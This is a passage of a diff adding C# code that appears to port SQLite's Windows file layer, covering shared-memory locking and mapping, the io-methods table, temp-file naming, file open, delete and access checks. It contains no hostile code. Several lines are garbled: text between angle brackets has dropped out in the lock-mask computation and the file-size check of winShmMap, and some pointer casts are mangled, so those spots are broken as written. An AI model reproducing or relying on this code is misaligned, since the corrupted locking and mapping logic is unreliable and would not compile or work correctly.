pShmNode->nRef--; + if( pShmNode->nRef==0 ){ + winShmPurge(pDbFd->pVfs, deleteFlag); + } + winShmLeaveMutex(); + + return SQLITE_OK; +} + +/* +** Change the lock state for a shared-memory segment. +*/ +static int winShmLock( + sqlite3_file *fd, /* Database file holding the shared memory */ + int ofst, /* First lock to acquire or release */ + int n, /* Number of locks to acquire or release */ + int flags /* What to do with the lock */ +){ + winFile *pDbFd = (winFile)fd; /* Connection holding shared memory */ + winShm *p = pDbFd->pShm; /* The shared memory being locked */ + winShm *pX; /* For looping over all siblings */ + winShmNode *pShmNode = p->pShmNode; + int rc = SQLITE_OK; /* Result code */ + u16 mask; /* Mask of locks to take or release */ + + Debug.Assert( ofst>=0 && ofst+n<=SQLITE_SHM_NLOCK ); + Debug.Assert( n>=1 ); + Debug.Assert( flags==(SQLITE_SHM_LOCK | SQLITE_SHM_SHARED) + || flags==(SQLITE_SHM_LOCK | SQLITE_SHM_EXCLUSIVE) + || flags==(SQLITE_SHM_UNLOCK | SQLITE_SHM_SHARED) + || flags==(SQLITE_SHM_UNLOCK | SQLITE_SHM_EXCLUSIVE) ); + Debug.Assert( n==1 || (flags & SQLITE_SHM_EXCLUSIVE)!=0 ); + + mask = (u16)((1U<<(ofst+n)) - (1U<1 || mask==(1<mutex); + if( flags & SQLITE_SHM_UNLOCK ){ + u16 allMask = 0; /* Mask of locks held by siblings */ + + /* See if any siblings hold this same lock */ + for(pX=pShmNode->pFirst; pX; pX=pX->pNext){ + if( pX==p ) continue; + Debug.Assert( (pX->exclMask & (p->exclMask|p->sharedMask))==0 ); + allMask |= pX->sharedMask; + } + + /* Unlock the system-level locks */ + if( (mask & allMask)==0 ){ + rc = winShmSystemLock(pShmNode, _SHM_UNLCK, ofst+WIN_SHM_BASE, n); + }else{ + rc = SQLITE_OK; + } + + /* Undo the local locks */ + if( rc==SQLITE_OK ){ + p->exclMask &= ~mask; + p->sharedMask &= ~mask; + } + }else if( flags & SQLITE_SHM_SHARED ){ + u16 allShared = 0; /* Union of locks held by connections other than "p" */ + + /* Find out which shared locks are already held by sibling connections. + ** If any sibling already holds an exclusive lock, go ahead and return + ** SQLITE_BUSY. + */ + for(pX=pShmNode->pFirst; pX; pX=pX->pNext){ + if( (pX->exclMask & mask)!=0 ){ + rc = SQLITE_BUSY; + break; + } + allShared |= pX->sharedMask; + } + + /* Get shared locks at the system level, if necessary */ + if( rc==SQLITE_OK ){ + if( (allShared & mask)==0 ){ + rc = winShmSystemLock(pShmNode, _SHM_RDLCK, ofst+WIN_SHM_BASE, n); + }else{ + rc = SQLITE_OK; + } + } + + /* Get the local shared locks */ + if( rc==SQLITE_OK ){ + p->sharedMask |= mask; + } + }else{ + /* Make sure no sibling connections hold locks that will block this + ** lock. If any do, return SQLITE_BUSY right away. + */ + for(pX=pShmNode->pFirst; pX; pX=pX->pNext){ + if( (pX->exclMask & mask)!=0 || (pX->sharedMask & mask)!=0 ){ + rc = SQLITE_BUSY; + break; + } + } + + /* Get the exclusive locks at the system level. Then if successful + ** also mark the local connection as being locked. + */ + if( rc==SQLITE_OK ){ + rc = winShmSystemLock(pShmNode, _SHM_WRLCK, ofst+WIN_SHM_BASE, n); + if( rc==SQLITE_OK ){ + Debug.Assert( (p->sharedMask & mask)==0 ); + p->exclMask |= mask; + } + } + } + sqlite3_mutex_leave(pShmNode->mutex); + OSTRACE(("SHM-LOCK shmid-%d, pid-%d got %03x,%03x %s\n", + p->id, (int)GetCurrentProcessId(), p->sharedMask, p->exclMask, + rc ? "failed" : "ok")); + return rc; +} + +/* +** Implement a memory barrier or memory fence on shared memory. +** +** All loads and stores begun before the barrier must complete before +** any load or store begun after the barrier. +*/ +static void winShmBarrier( + sqlite3_file *fd /* Database holding the shared memory */ +){ + UNUSED_PARAMETER(fd); + /* MemoryBarrier(); // does not work -- do not know why not */ + winShmEnterMutex(); + winShmLeaveMutex(); +} + +/* +** This function is called to obtain a pointer to region iRegion of the +** shared-memory associated with the database file fd. Shared-memory regions +** are numbered starting from zero. Each shared-memory region is szRegion +** bytes in size. +** +** If an error occurs, an error code is returned and *pp is set to NULL. +** +** Otherwise, if the isWrite parameter is 0 and the requested shared-memory +** region has not been allocated (by any client, including one running in a +** separate process), then *pp is set to NULL and SQLITE_OK returned. If +** isWrite is non-zero and the requested shared-memory region has not yet +** been allocated, it is allocated by this function. +** +** If the shared-memory region has already been allocated or is allocated by +** this call as described above, then it is mapped into this processes +** address space (if it is not already), *pp is set to point to the mapped +** memory and SQLITE_OK returned. +*/ +static int winShmMap( + sqlite3_file *fd, /* Handle open on database file */ + int iRegion, /* Region to retrieve */ + int szRegion, /* Size of regions */ + int isWrite, /* True to extend file if necessary */ + void volatile **pp /* OUT: Mapped memory */ +){ + winFile *pDbFd = (winFile)fd; + winShm *p = pDbFd->pShm; + winShmNode *pShmNode; + int rc = SQLITE_OK; + + if( null==p ){ + rc = winOpenSharedMemory(pDbFd); + if( rc!=SQLITE_OK ) return rc; + p = pDbFd->pShm; + } + pShmNode = p->pShmNode; + + sqlite3_mutex_enter(pShmNode->mutex); + Debug.Assert( szRegion==pShmNode->szRegion || pShmNode->nRegion==0 ); + + if( pShmNode->nRegion<=iRegion ){ + struct ShmRegion *apNew; /* New aRegion[] array */ + int nByte = (iRegion+1)*szRegion; /* Minimum required file size */ + sqlite3_int64 sz; /* Current size of wal-index file */ + + pShmNode->szRegion = szRegion; + + /* The requested region is not mapped into this processes address space. + ** Check to see if it has been allocated (i.e. if the wal-index file is + ** large enough to contain the requested region). + */ + rc = winFileSize((sqlite3_file )&pShmNode->hFile, &sz); + if( rc!=SQLITE_OK ){ + rc = winLogError(SQLITE_IOERR_SHMSIZE, "winShmMap1", pDbFd->zPath); + goto shmpage_out; + } + + if( szhFile, nByte); + if( rc!=SQLITE_OK ){ + rc = winLogError(SQLITE_IOERR_SHMSIZE, "winShmMap2", pDbFd->zPath); + goto shmpage_out; + } + } + + /* Map the requested memory region into this processes address space. */ + apNew = (struct ShmRegion )sqlite3_realloc( + pShmNode->aRegion, (iRegion+1)*sizeof(apNew[0]) + ); + if( null==apNew ){ + rc = SQLITE_IOERR_NOMEM; + goto shmpage_out; + } + pShmNode->aRegion = apNew; + + while( pShmNode->nRegion<=iRegion ){ + HANDLE hMap; /* file-mapping handle */ + void *pMap = 0; /* Mapped memory region */ + + hMap = CreateFileMapping(pShmNode->hFile.h, + NULL, PAGE_READWRITE, 0, nByte, NULL + ); + OSTRACE(("SHM-MAP pid-%d create region=%d nbyte=%d %s\n", + (int)GetCurrentProcessId(), pShmNode->nRegion, nByte, + hMap ? "ok" : "failed")); + if( hMap ){ + int iOffset = pShmNode->nRegion*szRegion; + int iOffsetShift = iOffset % winSysInfo.dwAllocationGranularity; + pMap = MapViewOfFile(hMap, FILE_MAP_WRITE | FILE_MAP_READ, + 0, iOffset - iOffsetShift, szRegion + iOffsetShift + ); + OSTRACE(("SHM-MAP pid-%d map region=%d offset=%d size=%d %s\n", + (int)GetCurrentProcessId(), pShmNode->nRegion, iOffset, szRegion, + pMap ? "ok" : "failed")); + } + if( null==pMap ){ + pShmNode->lastErrno = GetLastError(); + rc = winLogError(SQLITE_IOERR_SHMMAP, "winShmMap3", pDbFd->zPath); + if( hMap ) CloseHandle(hMap); + goto shmpage_out; + } + + pShmNode->aRegion[pShmNode->nRegion].pMap = pMap; + pShmNode->aRegion[pShmNode->nRegion].hMap = hMap; + pShmNode->nRegion++; + } + } + +shmpage_out: + if( pShmNode->nRegion>iRegion ){ + int iOffset = iRegion*szRegion; + int iOffsetShift = iOffset % winSysInfo.dwAllocationGranularity; + char *p = (char )pShmNode->aRegion[iRegion].pMap; + *pp = (void )&p[iOffsetShift]; + }else{ + *pp = 0; + } + sqlite3_mutex_leave(pShmNode->mutex); + return rc; +} + +#else + //# define winShmMap 0 + static int winShmMap( + sqlite3_file fd, /* Handle open on database file */ + int iRegion, /* Region to retrieve */ + int szRegion, /* Size of regions */ + int isWrite, /* True to extend file if necessary */ + out object pp /* OUT: Mapped memory */ + ) + { + pp = null; + return 0; + } + + //# define winShmLock 0 + static int winShmLock( + sqlite3_file fd, /* Database file holding the shared memory */ + int ofst, /* First lock to acquire or release */ + int n, /* Number of locks to acquire or release */ + int flags /* What to do with the lock */ + ) + { + return 0; + } + + //# define winShmBarrier 0 + static void winShmBarrier( + sqlite3_file fd /* Database holding the shared memory */ + ) + { + } + + //# define winShmUnmap 0 + static int winShmUnmap( + sqlite3_file fd, /* Database holding shared memory */ + int deleteFlag /* Delete after closing if true */ + ) + { + return 0; + } + +#endif //* #if NOT_SQLITE_OMIT_WAL //#if !SQLITE_OMIT_WAL */ + + /* +** Here ends the implementation of all sqlite3_file methods. +** +********************** End sqlite3_file Methods ******************************* +******************************************************************************/ + + /* + ** This vector defines all the methods that can operate on an + ** sqlite3_file for win32. + */ + static sqlite3_io_methods winIoMethod = new sqlite3_io_methods( + 2, /* iVersion */ + (dxClose)winClose, /* xClose */ + (dxRead)winRead, /* xRead */ + (dxWrite)winWrite, /* xWrite */ + (dxTruncate)winTruncate, /* xTruncate */ + (dxSync)winSync, /* xSync */ + (dxFileSize)winFileSize, /* xFileSize */ + (dxLock)winLock, /* xLock */ + (dxUnlock)winUnlock, /* xUnlock */ + (dxCheckReservedLock)winCheckReservedLock, /* xCheckReservedLock */ + (dxFileControl)winFileControl, /* xFileControl */ + (dxSectorSize)winSectorSize, /* xSectorSize */ + (dxDeviceCharacteristics)winDeviceCharacteristics, /* xDeviceCharacteristics */ + (dxShmMap)winShmMap, /* xShmMap */ + (dxShmLock)winShmLock, /* xShmLock */ + (dxShmBarrier)winShmBarrier, /* xShmBarrier */ + (dxShmUnmap)winShmUnmap /* xShmUnmap */ + ); + + /**************************************************************************** + **************************** sqlite3_vfs methods **************************** + ** + ** This division contains the implementation of methods on the + ** sqlite3_vfs object. + */ + + /* + ** Convert a UTF-8 filename into whatever form the underlying + ** operating system wants filenames in. Space to hold the result + ** is obtained from malloc and must be freed by the calling + ** function. + */ + static string convertUtf8Filename( string zFilename ) + { + return zFilename; + // string zConverted = ""; + //if (isNT()) + //{ + // zConverted = utf8ToUnicode(zFilename); + /* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. + */ +#if !SQLITE_OS_WINCE + //} + //else + //{ + // zConverted = sqlite3_win32_utf8_to_mbcs(zFilename); +#endif + //} + /* caller will handle out of memory */ + //return zConverted; + } + + /* + ** Create a temporary file name in zBuf. zBuf must be big enough to + ** hold at pVfs.mxPathname characters. + */ + static int getTempname( int nBuf, StringBuilder zBuf ) + { + const string zChars = "abcdefghijklmnopqrstuvwxyz0123456789"; + //static char zChars[] = + // "abcdefghijklmnopqrstuvwxyz" + // "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + // "0123456789"; + //size_t i, j; + //char zTempPath[MAX_PATH+1]; + + /* It's odd to simulate an io-error here, but really this is just + ** using the io-error infrastructure to test that SQLite handles this + ** function failing. + */ +#if SQLITE_TEST + if ( SimulateIOError() ) + return SQLITE_IOERR; +#endif + + //if( sqlite3_temp_directory ){ + // sqlite3_snprintf(MAX_PATH-30, zTempPath, "%s", sqlite3_temp_directory); + //}else if( isNT() ){ + // string zMulti; + // WCHAR zWidePath[MAX_PATH]; + // GetTempPathW(MAX_PATH-30, zWidePath); + // zMulti = unicodeToUtf8(zWidePath); + // if( zMulti ){ + // sqlite3_snprintf(MAX_PATH-30, zTempPath, "%s", zMulti); + // free(zMulti); + // }else{ + // return SQLITE_NOMEM; + // } + /* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. + ** Since the ASCII version of these Windows API do not exist for WINCE, + ** it's important to not reference them for WINCE builds. + */ +#if !SQLITE_OS_WINCE + //}else{ + // string zUtf8; + // char zMbcsPath[MAX_PATH]; + // GetTempPathA(MAX_PATH-30, zMbcsPath); + // zUtf8 = sqlite3_win32_mbcs_to_utf8(zMbcsPath); + // if( zUtf8 ){ + // sqlite3_snprintf(MAX_PATH-30, zTempPath, "%s", zUtf8); + // free(zUtf8); + // }else{ + // return SQLITE_NOMEM; + // } +#endif + //} + + /* Check that the output buffer is large enough for the temporary file + ** name. If it is not, return SQLITE_ERROR. + */ + //if( (sqlite3Strlen30(zTempPath) + sqlite3Strlen30(SQLITE_TEMP_FILE_PREFIX) + 17) >= nBuf ){ + // return SQLITE_ERROR; + //} + + StringBuilder zRandom = new StringBuilder( 20 ); + i64 iRandom = 0; + for ( int i = 0; i < 15; i++ ) + { + sqlite3_randomness( 1, ref iRandom ); + zRandom.Append( (char)zChars[(int)( iRandom % ( zChars.Length - 1 ) )] ); + } + // zBuf[j] = 0; + zBuf.Append( Path.GetTempPath() + SQLITE_TEMP_FILE_PREFIX + zRandom.ToString() ); + //for(i=sqlite3Strlen30(zTempPath); i>0 && zTempPath[i-1]=='\\'; i--){} + //zTempPath[i] = 0; + //sqlite3_snprintf(nBuf-17, zBuf, + // "%s\\"SQLITE_TEMP_FILE_PREFIX, zTempPath); + //j = sqlite3Strlen30(zBuf); + //sqlite3_randomness(15, zBuf[j]); + //for(i=0; i<15; i++, j++){ + // zBuf[j] = (char)zChars[ ((unsigned char)zBuf[j])%(sizeof(zChars)-1) ]; + //} + //zBuf[j] = 0; + +#if SQLITE_DEBUG + OSTRACE( "TEMP FILENAME: %s\n", zBuf.ToString() ); +#endif + return SQLITE_OK; + } + + /* + ** Open a file. + */ + static int winOpen( + sqlite3_vfs pVfs, /* Not used */ + string zName, /* Name of the file (UTF-8) */ + sqlite3_file pFile, /* Write the SQLite file handle here */ + int flags, /* Open mode flags */ + out int pOutFlags /* Status return flags */ + ) + { + //HANDLE h; + FileStream fs = null; + FileAccess dwDesiredAccess; + FileShare dwShareMode; + FileMode dwCreationDisposition; +#if NO_SQLITE_SILVERLIGHT //#if !(SQLITE_SILVERLIGHT || WINDOWS_MOBILE) + FileOptions dwFlagsAndAttributes; +#endif +#if SQLITE_OS_WINCE +int isTemp = 0; +#endif + //winFile* pFile = (winFile)id; + string zConverted; /* Filename in OS encoding */ + string zUtf8Name = zName; /* Filename in UTF-8 encoding */ + pOutFlags = 0; + + /* If argument zPath is a NULL pointer, this function is required to open + ** a temporary file. Use this buffer to store the file name in. + */ + StringBuilder zTmpname = new StringBuilder( MAX_PATH + 1 ); /* Buffer used to create temp filename */ + + int rc = SQLITE_OK; /* Function Return Code */ + int eType = (int)( flags & 0xFFFFFF00 ); /* Type of file to open */ + bool isExclusive = ( flags & SQLITE_OPEN_EXCLUSIVE ) != 0; + bool isDelete = ( flags & SQLITE_OPEN_DELETEONCLOSE ) != 0; + bool isCreate = ( flags & SQLITE_OPEN_CREATE ) != 0; + bool isReadonly = ( flags & SQLITE_OPEN_READONLY ) != 0; + bool isReadWrite = ( flags & SQLITE_OPEN_READWRITE ) != 0; + bool isOpenJournal = ( isCreate && ( + eType == SQLITE_OPEN_MASTER_JOURNAL + || eType == SQLITE_OPEN_MAIN_JOURNAL + || eType == SQLITE_OPEN_WAL + ) ); + + /* Check the following statements are true: +** +** (a) Exactly one of the READWRITE and READONLY flags must be set, and +** (b) if CREATE is set, then READWRITE must also be set, and +** (c) if EXCLUSIVE is set, then CREATE must also be set. +** (d) if DELETEONCLOSE is set, then CREATE must also be set. +*/ + Debug.Assert( ( isReadonly == false || isReadWrite == false ) && ( isReadWrite || isReadonly ) ); + Debug.Assert( isCreate == false || isReadWrite ); + Debug.Assert( isExclusive == false || isCreate ); + Debug.Assert( isDelete == false || isCreate ); + + /* The main DB, main journal, WAL file and master journal are never + ** automatically deleted. Nor are they ever temporary files. */ + //Debug.Assert( ( !isDelete && !String.IsNullOrEmpty(zName) ) || eType != SQLITE_OPEN_MAIN_DB ); + Debug.Assert( ( !isDelete && !String.IsNullOrEmpty( zName ) ) || eType != SQLITE_OPEN_MAIN_JOURNAL ); + Debug.Assert( ( !isDelete && !String.IsNullOrEmpty( zName ) ) || eType != SQLITE_OPEN_MASTER_JOURNAL ); + Debug.Assert( ( !isDelete && !String.IsNullOrEmpty( zName ) ) || eType != SQLITE_OPEN_WAL ); + + /* Assert that the upper layer has set one of the "file-type" flags. */ + Debug.Assert( eType == SQLITE_OPEN_MAIN_DB || eType == SQLITE_OPEN_TEMP_DB + || eType == SQLITE_OPEN_MAIN_JOURNAL || eType == SQLITE_OPEN_TEMP_JOURNAL + || eType == SQLITE_OPEN_SUBJOURNAL || eType == SQLITE_OPEN_MASTER_JOURNAL + || eType == SQLITE_OPEN_TRANSIENT_DB || eType == SQLITE_OPEN_WAL + ); + + Debug.Assert( pFile != null ); + UNUSED_PARAMETER( pVfs ); + + pFile.fs = null;//.h = INVALID_HANDLE_VALUE; + + /* If the second argument to this function is NULL, generate a + ** temporary file name to use + */ + if ( String.IsNullOrEmpty( zUtf8Name ) ) + { + Debug.Assert( isDelete && !isOpenJournal ); + rc = getTempname( MAX_PATH + 1, zTmpname ); + if ( rc != SQLITE_OK ) + { + return rc; + } + zUtf8Name = zTmpname.ToString(); + } + + // /* Convert the filename to the system encoding. */ + zConverted = zUtf8Name;// convertUtf8Filename( zUtf8Name ); + if ( zConverted.StartsWith( "/" ) && !zConverted.StartsWith( "//" ) ) + zConverted = zConverted.Substring( 1 ); + //if ( String.IsNullOrEmpty( zConverted ) ) + //{ + // return SQLITE_NOMEM; + //} + + if ( isReadWrite ) + { + dwDesiredAccess = FileAccess.Read | FileAccess.Write; // GENERIC_READ | GENERIC_WRITE; + } + else + { + dwDesiredAccess = FileAccess.Read; // GENERIC_READ; + } + + /* SQLITE_OPEN_EXCLUSIVE is used to make sure that a new file is + ** created. SQLite doesn't use it to indicate "exclusive access" + ** as it is usually understood. + */ + if ( isExclusive ) + { + /* Creates a new file, only if it does not already exist. */ + /* If the file exists, it fails. */ + dwCreationDisposition = FileMode.CreateNew;// CREATE_NEW; + } + else if ( isCreate ) + { + /* Open existing file, or create if it doesn't exist */ + dwCreationDisposition = FileMode.OpenOrCreate;// OPEN_ALWAYS; + } + else + { + /* Opens a file, only if it exists. */ + dwCreationDisposition = FileMode.Open;//OPEN_EXISTING; + } + + dwShareMode = FileShare.Read | FileShare.Write;// FILE_SHARE_READ | FILE_SHARE_WRITE; + + if ( isDelete ) + { +#if SQLITE_OS_WINCE +dwFlagsAndAttributes = FILE_ATTRIBUTE_HIDDEN; +isTemp = 1; +#else +#if NO_SQLITE_SILVERLIGHT //#if !(SQLITE_SILVERLIGHT || WINDOWS_MOBILE) + dwFlagsAndAttributes = FileOptions.DeleteOnClose; // FILE_ATTRIBUTE_TEMPORARY + //| FILE_ATTRIBUTE_HIDDEN + //| FILE_FLAG_DELETE_ON_CLOSE; +#endif +#endif + } + else + { +#if NO_SQLITE_SILVERLIGHT //#if !(SQLITE_SILVERLIGHT || WINDOWS_MOBILE) + dwFlagsAndAttributes = FileOptions.None; // FILE_ATTRIBUTE_NORMAL; +#endif + } + /* Reports from the internet are that performance is always + ** better if FILE_FLAG_RANDOM_ACCESS is used. Ticket #2699. */ +#if SQLITE_OS_WINCE +dwFlagsAndAttributes |= FileOptions.RandomAccess; // FILE_FLAG_RANDOM_ACCESS; +#endif + + if ( isNT() ) + { + //h = CreateFileW((WCHAR)zConverted, + // dwDesiredAccess, + // dwShareMode, + // NULL, + // dwCreationDisposition, + // dwFlagsAndAttributes, + // NULL + //); + + // + // retry opening the file a few times; this is because of a racing condition between a delete and open call to the FS + // + int retries = 3; + while ( ( fs == null ) && ( retries > 0 ) ) + try + { + retries--; +//#if !NOT_WINDOWS_PHONE || SQLITE_SILVERLIGHT +// fs = new IsolatedStorageFileStream(zConverted, dwCreationDisposition, dwDesiredAccess, dwShareMode, IsolatedStorageFile.GetUserStoreForApplication()); +//#elif !(SQLITE_SILVERLIGHT || WINDOWS_MOBILE) +// fs = new FileStream( zConverted, dwCreationDisposition, dwDesiredAccess, dwShareMode, 4096, dwFlagsAndAttributes ); +//#else +// fs = new FileStream( zConverted, dwCreationDisposition, dwDesiredAccess, dwShareMode, 4096); +//#endif + + if (!Path.IsPathRooted(zConverted)) + { + //zConverted = Path.Combine(Windows.Storage.ApplicationData.Current.LocalFolder.Path, zConverted); + } + fs = new FileStream(zConverted, dwCreationDisposition, dwDesiredAccess, dwShareMode, 4096); + +#if SQLITE_DEBUG + OSTRACE( "OPEN %d (%s)\n", fs.GetHashCode(), fs.Name ); +#endif + } + catch ( Exception e ) + { + Thread.Sleep( 100 ); + } + + /* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. + ** Since the ASCII version of these Windows API do not exist for WINCE, + ** it's important to not reference them for WINCE builds. + */ +#if !SQLITE_OS_WINCE + } + else + { + Debugger.Break(); // Not NT + //h = CreateFileA((char)zConverted, + // dwDesiredAccess, + // dwShareMode, + // NULL, + // dwCreationDisposition, + // dwFlagsAndAttributes, + // NULL + //); +#endif + } + + OSTRACE( "OPEN %d %s 0x%lx %s\n", + pFile.GetHashCode(), zName, dwDesiredAccess, + fs == null ? "failed" : "ok" ); + if ( fs == null + || +#if NO_SQLITE_SILVERLIGHT //#if !(SQLITE_SILVERLIGHT || WINDOWS_MOBILE) + fs.SafeFileHandle.IsInvalid +#else + !fs.CanRead +#endif + ) //(h == INVALID_HANDLE_VALUE) + { +#if !NO_SQLITE_SILVERLIGHT +pFile.lastErrno = 1; +#else + // pFile.lastErrno = GetLastError(); + pFile.lastErrno = (u32)Marshal.GetLastWin32Error(); +#endif + winLogError(SQLITE_CANTOPEN, "winOpen", zUtf8Name); + // free(zConverted); + if ( isReadWrite ) + { + return winOpen( pVfs, zName, pFile, + ( ( flags | SQLITE_OPEN_READONLY ) & ~( SQLITE_OPEN_CREATE | SQLITE_OPEN_READWRITE ) ), out pOutFlags ); + } + else + { + return SQLITE_CANTOPEN_BKPT(); + } + } + + //if ( pOutFlags ) + //{ + if ( isReadWrite ) + { + pOutFlags = SQLITE_OPEN_READWRITE; + } + else + { + pOutFlags = SQLITE_OPEN_READONLY; + } + //} + + pFile.Clear(); // memset(pFile, 0, sizeof(*pFile)); + pFile.pMethods = winIoMethod; + pFile.fs = fs; + pFile.lastErrno = NO_ERROR; + pFile.pVfs = pVfs; + pFile.pShm = null; + pFile.zPath = zName; + pFile.sectorSize = (ulong)getSectorSize( pVfs, zUtf8Name ); +#if SQLITE_OS_WINCE +if( isReadWrite && eType==SQLITE_OPEN_MAIN_DB +&& !winceCreateLock(zName, pFile) +){ +CloseHandle(h); +free(zConverted); +return SQLITE_CANTOPEN_BKPT; +} +if( isTemp ){ +pFile.zDeleteOnClose = zConverted; +}else +#endif + { + // free(zConverted); + } + +#if SQLITE_TEST + OpenCounter( +1 ); +#endif + return rc; + } + + /* + ** Delete the named file. + ** + ** Note that windows does not allow a file to be deleted if some other + ** process has it open. Sometimes a virus scanner or indexing program + ** will open a journal file shortly after it is created in order to do + ** whatever it does. While this other process is holding the + ** file open, we will be unable to delete it. To work around this + ** problem, we delay 100 milliseconds and try to delete again. Up + ** to MX_DELETION_ATTEMPTs deletion attempts are run before giving + ** up and returning an error. + */ + static int MX_DELETION_ATTEMPTS = 5; + static int winDelete( + sqlite3_vfs pVfs, /* Not used on win32 */ + string zFilename, /* Name of file to delete */ + int syncDir /* Not used on win32 */ + ) + { + int cnt = 0; + int rc; + int error; + string zConverted; + UNUSED_PARAMETER( pVfs ); + UNUSED_PARAMETER( syncDir ); + +#if SQLITE_TEST + if ( SimulateIOError() ) + return SQLITE_IOERR_DELETE; +#endif + zConverted = convertUtf8Filename( zFilename ); + //if ( zConverted == null || zConverted == "" ) + //{ + // return SQLITE_NOMEM; + //} + if ( isNT() ) + { + do + // DeleteFileW(zConverted); + //}while( ( ((rc = GetFileAttributesW(zConverted)) != INVALID_FILE_ATTRIBUTES) + // || ((error = GetLastError()) == ERROR_ACCESS_DENIED)) + // && (++cnt < MX_DELETION_ATTEMPTS) + // && (Sleep(100), 1) ); + { +#if !NOT_WINDOWS_PHONE + //if ( !System.IO.IsolatedStorage.IsolatedStorageFile.GetUserStoreForApplication().FileExists( zFilename ) ) +#elif SQLITE_SILVERLIGHT + if (!IsolatedStorageFile.GetUserStoreForApplication().FileExists(zFilename)) +#else + if ( !File.Exists( zFilename ) ) +#endif + { + rc = SQLITE_IOERR; + break; + } + try + { +#if !NOT_WINDOWS_PHONE + System.IO.IsolatedStorage.IsolatedStorageFile.GetUserStoreForApplication().DeleteFile(zFilename); +#elif SQLITE_SILVERLIGHT + IsolatedStorageFile.GetUserStoreForApplication().DeleteFile(zFilename); +#else + File.Delete( zConverted ); +#endif + rc = SQLITE_OK; + } + catch ( IOException e ) + { + rc = SQLITE_IOERR; + Thread.Sleep( 100 ); + } + } while ( rc != SQLITE_OK && ++cnt < MX_DELETION_ATTEMPTS ); + /* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. + ** Since the ASCII version of these Windows API do not exist for WINCE, + ** it's important to not reference them for WINCE builds. + */ +#if !SQLITE_OS_WINCE + } + else + { + do + { + //DeleteFileA( zConverted ); + //}while( ( ((rc = GetFileAttributesA(zConverted)) != INVALID_FILE_ATTRIBUTES) + // || ((error = GetLastError()) == ERROR_ACCESS_DENIED)) + // && (cnt++ < MX_DELETION_ATTEMPTS) + // && (Sleep(100), 1) ); + if ( !File.Exists( zFilename ) ) + { + rc = SQLITE_IOERR; + break; + } + try + { + File.Delete( zConverted ); + rc = SQLITE_OK; + } + catch ( IOException e ) + { + rc = SQLITE_IOERR; + Thread.Sleep( 100 ); + } + } while ( rc != SQLITE_OK && cnt++ < MX_DELETION_ATTEMPTS ); +#endif + } + //free(zConverted); +#if SQLITE_DEBUG + OSTRACE( "DELETE \"%s\"\n", zFilename ); +#endif + if ( rc == SQLITE_OK ) + return rc; + +#if !NO_SQLITE_SILVERLIGHT + error = (int)ERROR_NOT_SUPPORTED; +#else + error = Marshal.GetLastWin32Error(); +#endif + return ( ( rc == INVALID_FILE_ATTRIBUTES ) + && ( error == ERROR_FILE_NOT_FOUND ) ) ? SQLITE_OK : + winLogError(SQLITE_IOERR_DELETE, "winDelete", zFilename); + } + + /* + ** Check the existence and status of a file. + */ + static int winAccess( + sqlite3_vfs pVfs, /* Not used on win32 */ + string zFilename, /* Name of file to check */ + int flags, /* Type of test to make on this file */ + out int pResOut /* OUT: Result */ + ) + { + FileAttributes attr = 0; // DWORD attr; + int rc = 0; + // void *zConverted; + UNUSED_PARAMETER( pVfs ); + +#if SQLITE_TEST + if ( SimulateIOError() ) + { + pResOut = -1; + return SQLITE_IOERR_ACCESS; + } +#endif + //zConverted = convertUtf8Filename(zFilename); + // if( zConverted==0 ){ + // return SQLITE_NOMEM; + // } + //if ( isNT() ) + //{ + // + // Do a quick test to prevent the try/catch block + if ( flags == SQLITE_ACCESS_EXISTS ) + { +#if !NOT_WINDOWS_PHONE + //pResOut = System.IO.IsolatedStorage.IsolatedStorageFile.GetUserStoreForApplication().FileExists(zFilename) ? 1 : 0; + pResOut = File.Exists( zFilename ) ? 1 : 0; +#elif SQLITE_SILVERLIGHT + pResOut = IsolatedStorageFile.GetUserStoreForApplication().FileExists(zFilename) ? 1 : 0; +#else + pResOut = File.Exists( zFilename ) ? 1 : 0; +#endif + return SQLITE_OK; + } + // + try + { + //WIN32_FILE_ATTRIBUTE_DATA sAttrData; + //memset(&sAttrData, 0, sizeof(sAttrData)); + //if( GetFileAttributesExW((WCHAR)zConverted, + // GetFileExInfoStandard, + // &sAttrData) ){ + // /* For an SQLITE_ACCESS_EXISTS query, treat a zero-length file + // ** as if it does not exist. + // */ + // if( flags==SQLITE_ACCESS_EXISTS + // && sAttrData.nFileSizeHigh==0 + // && sAttrData.nFileSizeLow==0 ){ + // attr = INVALID_FILE_ATTRIBUTES; + // }else{ + // attr = sAttrData.dwFileAttributes; + // } + //}else{ + // if( GetLastError()!=ERROR_FILE_NOT_FOUND ){ + // winLogError(SQLITE_IOERR_ACCESS, "winAccess", zFilename); + // free(zConverted); + // return SQLITE_IOERR_ACCESS; + // }else{ + // attr = INVALID_FILE_ATTRIBUTES; + // } + //} +//#if !NOT_WINDOWS_PHONE || WINDOWS_MOBILE || SQLITE_SILVERLIGHT + if (new DirectoryInfo(zFilename).Exists) +//#else +// attr = File.GetAttributes( zFilename );// GetFileAttributesW( (WCHAR)zConverted ); +// if ( attr == FileAttributes.Directory ) +//#endif + { + try + { + string name = Path.Combine( Path.GetTempPath(), Path.GetTempFileName() ); + FileStream fs = File.Create( name ); + fs.Close(); + File.Delete( name ); + attr = FileAttributes.Normal; + } + catch ( IOException e ) + { + attr = FileAttributes.ReadOnly; + } + } + } + /* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed. + ** Since the ASCII version of these Windows API do not exist for WINCE, + ** it's important to not reference them for WINCE builds. + */ +#if !SQLITE_OS_WINCE + //} + //else + //{ + // attr = GetFileAttributesA( (char)zConverted ); +#endif + //} + catch ( IOException e ) + { + winLogError(SQLITE_IOERR_ACCESS, "winAccess", zFilename); + } + // free(zConverted); + switch ( flags ) + { + case SQLITE_ACCESS_READ: + case SQLITE_ACCESS_EXISTS: + rc = attr != 0 ? 1 : 0;// != INVALID_FILE_ATTRIBUTES; + break; + case SQLITE_ACCESS_READWRITE: + rc = attr == 0 ? 0 : (int)( attr & FileAttributes.ReadOnly ) != 0 ? 0 : 1; //FILE_ATTRIBUTE_READONLY ) == 0; + break; + default: + Debug.Assert( "" == "Invalid flags argument" ); + rc = 0; + break; + } + pResOut = rc; + return SQLITE_OK; + } + + /* + ** Turn a relative pathname into a full pathname. Write the full + ** pathname into zOut[]. zOut[] will be at least pVfs.mxPathname + ** bytes in size. + */ + static int winFullPathname( + sqlite3_vfs pVfs, /* Pointer to vfs object */ + string zRelative, /* Possibly relative input path */ + int 